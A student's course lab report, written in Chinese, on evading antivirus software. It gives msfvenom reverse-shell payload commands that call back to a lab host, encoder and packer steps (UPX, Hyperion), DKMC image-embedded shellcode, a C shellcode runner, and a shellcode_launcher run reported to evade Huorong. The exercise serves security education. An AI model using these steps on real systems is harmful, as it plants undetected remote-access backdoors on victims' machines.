1. 程式人生 > 其它 >20192424王昭雲實踐三免殺原理與實踐

20192424王昭雲實踐三免殺原理與實踐

Exp3 免殺原理與實踐(20192424王昭雲)

一、實踐要求

1. 方法

  • ①正確使用msf編碼器
  • ②msfvenom生成如jar之類的其他檔案
  • ③veil
  • ④加殼工具
  • ⑤使用C + shellcode程式設計
  • ⑥使用其他課堂未介紹方法

2. 通過組合應用各種技術實現惡意程式碼免殺

3. 用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功,註明電腦的殺軟名稱與版本

二、實驗內容

②msfvenom生成如jar之類的其他檔案

  • 生成Java檔案: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.189.135 LPORT=1314 x> 20192424_ja.jar

  • 可以觀察到,查殺率比簡單編碼方式要好些,但依然不樂觀

  • 生成bash檔案: msfvenom -p cmd/unix/reverse_bash LHOST=192.168.189.135 LPORT=1314 -f raw > 20192424.sh

  • bash是Linux系統指令碼,在Windows下可能不會一般有人裝環境來實現執行bash,所以殺軟也不會記錄這種檔案,所以查殺率為0

  • 使用msfvenom生成更多型別後門程式請參見該部落格

③veil

  • veil的安裝明明簡單卻過於費心,可以在kali上線上安裝veil:sudo apt-get install veil-evasion

  • 安裝完成後進入介面:veil

  • 使用veil-evasion: use 1

  • 可以觀察到我們有41個payload,可以使用list 檢視payload以及使用use 數字 選取對應的payload

  • 選取 powershell/meterpreter/rev_tcp:use 22

  • 設定反彈連線的引數:

  • ip: set LHOST 192.168.189.135

  • 埠: set LPORT 1314

  • 生成: generate

  • 檔名: 20192424

  • 對檔案掃描,結果還是不如人意

④加殼工具

  • 對①中生成的程式進行壓縮殼upx加殼: upx 20192424cd2.exe -o 20192424cd2.upxed.exe

  • 查殺如下

  • 對①中生成的程式進行加密殼Hyperion加殼

    • 將要加密的程式複製到hyperion資料夾中:cp 20192424cd2.exe /usr/share/windows-resources/hyperion/20192424cd2.exe

    • 進入hyperion資料夾:cd /usr/share/windows-resources/hyperion/

    • 對程式進行加密殼:wine hyperion.exe -v 20192424cd2.exe 20192424cd2.upxed.Hy.exe

  • 查殺如下,有一定效果

⑥使用其他課堂未介紹方法

  • 下面介紹的DKMC方法是一種未成功免殺的方法,具體方法參考教程

  • 安裝DKMC: git clone https://github.com/Mr-Un1k0d3r/DKMC.git

  • 使用Msf生成raw格式的shellcode: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.189.135 LPORT=1314 -f raw > 1314

  • 進入DKMC資料夾: cd /home/20192424wr/DKMC/

  • 執行: python dkmc.py

    • 此時遇到問題,看見print的括號報錯,猜測是python2,3版本不相容導致的

    • 用python2開啟DCMK,成功解決問題

  • 在DKMC中輸入選項: sc

  • 設定source: set source /home/20192424wr/1314

  • 生成shellcode: run

  • 返回主選單: exit

  • 在DKMC中輸入選項: gen

  • 設定shellcode: set shellcode .....(shellcode為run生成的shellcode)

  • 生成影象: run

  • 返回主選單: exit

  • 在DKKMC中輸入選項: ps

  • 設定url地址: set url http://192.168.189.135:8080/ .bmp(圖片名為gen生成的圖片名,可以手動重新命名)

  • 生成bat檔案: run

  • 返回主選單: exit

  • 在DKKMC中輸入選項: web

  • 設定埠: set port 8080

  • 啟動web服務: run

  • 啟動msfconsole

  • 將生成的bat檔案在windows環境開啟(或者命令提示符直接輸入生成的powershell的程式碼)

    • kali截圖

    • windows截圖

  • 這種方法不能免殺

  • 關閉殺軟的情況下,能成功回連

  • 這種將shellcode嵌入圖片,通過網路分發的方法是課堂上沒有提過的,失敗的原因可能是因為企圖呼叫powershell,而av和win10機制對這種行為極為敏感,所以難以達到免殺的目的,如果將檔案字尾名bat取消是可以從虛擬機器傳到windows的,火絨應該是沙盒運行了一遍bat檔案發現有埠被異常呼叫由此推測出是惡意程式碼。比如在windows接收檔案時沒有bat字尾,自己重新命名是不會被檢測出來的,除非執行程式。

①正確使用msf編碼器

  • (1)將上一個實驗中用msf生成的後門程式放到virustotal檢測,發現絕大多數的防毒軟體都可以辨別其為病毒,這類病毒幾乎可以說是出師未捷身先死,剛進入就被殺軟給殺掉了。

  • (2)接下來我們開始使用msf編碼器:

  • 檢視可以進行的編碼型別: msfvenom --list encoders

  • 使用 x86/shikata_ga_nai 方式進行編碼

  • 1次編碼: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai-b '\x00' LHOST=192.168.189.135 LPORT=1314 -f exe >20192424cd2.exe

  • 8次編碼: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 8 -b '\x00' LHOST=192.168.189.135 LPORT=1314 -f exe >20192424cd2.exe

  • 將兩次編碼後的檔案放到virustotal檢測,結果依然沒有太大變化

    • 第一次如下

    • 第二次如下

  • 綜上,僅通過編碼方式生成的payload是不可能做到免殺的

⑤使用C + shellcode程式設計

  • 使用msfvenom生成shellcode: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.189.135 LPORT=1314 -f c

  • 新建一個1314sc.c檔案,將上面生成的buf[]代入,內部程式碼為:

    include <stdio.h>

    unsigned char buf[]=//生成的shellcode
    int main()
    {
    int (func)()=(int()())buf;//呼叫shellcode
    func();
    }

  • 安裝mingw-w64: apt-get install mingw-w64

  • 使用mingw-w64將c檔案生成exe檔案: i686-w64-mingw32-g++ 1314sc.c -o 1314sc.exe

  • 對1314sc.exe檢測一下,效果不錯

  • 按照實驗二步驟嘗試回連,發現回連成功,圖為與火絨同時存在被查殺的

    • 通過C+shellcode被火絨查出來了

  • 這兩張圖為kali下沒使用火絨,使用火絨的截圖

2.通過組合應用各種技術實現惡意程式碼免殺&3.用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功,註明電腦的殺軟名稱與版本

  • 這是一種使用shellcode載入器的方法,具體步驟參考教程,shellcode載入器中效果最好使用較多的就是shellcode_launcher了(附上下載地址)

  • 使用Msfvenom生成raw格式的shellcode: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.189.135 lport=1314 -f raw -o 20192424.raw

  • 開啟msfconsole進行監聽:

  • use exploit/multi/handler //監聽設定payload set payload

  • set payload windows/meterpreter/reverse_tcp //使用與生成後門程式一樣的payload

  • set LHOST 192.168.189.135 //Linux端的IP地址

  • set LPORT 1314 //與之前輸入的埠號一致

  • exploit //開始監聽

  • 在另一臺正常開啟殺軟的Windows命令提示符輸入: shellcode_launcher.exe -i 20192424.raw

    • Shellcode_laubcher關閉防毒軟體執行截圖,成功連線

  • 觀察到成功回連,殺軟沒有查殺,且shellcode_launcher.exe和20192424.raw通過檢測

    • 開啟火絨成功連線,沒有被查殺

  • Windows版本:Windows 10, version 1909,殺軟:火絨5.0.40.12

三、基礎問題回答

1.殺軟是如何檢測出惡意程式碼的?

  • (一)特徵程式碼法:該方法是目前防毒工具中必備的組成部分
  • (二)校驗和法:檔案完整性保護,主要用於檢測系統檔案是否被篡改。
  • (三)行為監測法:監測惡意程式碼執行時的行為特徵,可以識別惡意程式碼的名稱或者是種類,也可以檢測未知的惡意程式碼。

2.免殺是做什麼?

  • 免殺是逃避防毒軟體的檢測,從而可以使其“正常執行”

3.免殺的基本方法有哪些?

  • (1)採用不同的編碼方式,或者編碼次數
  • (2)對編碼後生成的檔案進行加殼,加壓縮殼或者是加密殼
  • (3)還可以使用反彈埠,一些防火牆不會對本機發出的請求進行過濾

4.開啟殺軟能絕對防止電腦中惡意程式碼嗎?

  • 防毒軟體能提供可靠的下載源,能自動將下載軟體與官網的hash比對,只要我們正確使用防毒軟體,不去亂七八糟的網頁下載檔案,合理開啟防火牆,對防毒軟體警告的網頁不輕易開啟,就能防範大多數病毒。只要不亂下不明渠道的程式,怎麼會中毒呢?黑客的盡頭還得是社會工程學。

四、實驗體會

這次實驗中讓我覺得最有趣的DKMC,它將惡意程式碼藏在了圖片中,那麼我們也可以將惡意程式碼藏在音訊中,雖然這些圖片沒有自啟動的能力,不過可以使用沒有木馬能力的exe程式去啟動圖片裡的惡意程式碼,這樣兩個沒有攻擊性的檔案組合在一起便是後門了。本次實驗中,我認識到了hash的重要性,下載檔案一定要與官網hash進行比對,否則後門可能被人別有用心地插入到了原本的程式中,難以察覺。除此,如果想要繞過hash認證,那麼可以採取兩種方法,一是篡改官網的hash,二是通過密碼學的技術構造不同檔案但是hash相同的位元組流,構造仿製檔案。對了,實驗最後,我感覺其實加殼與編碼原理差不多。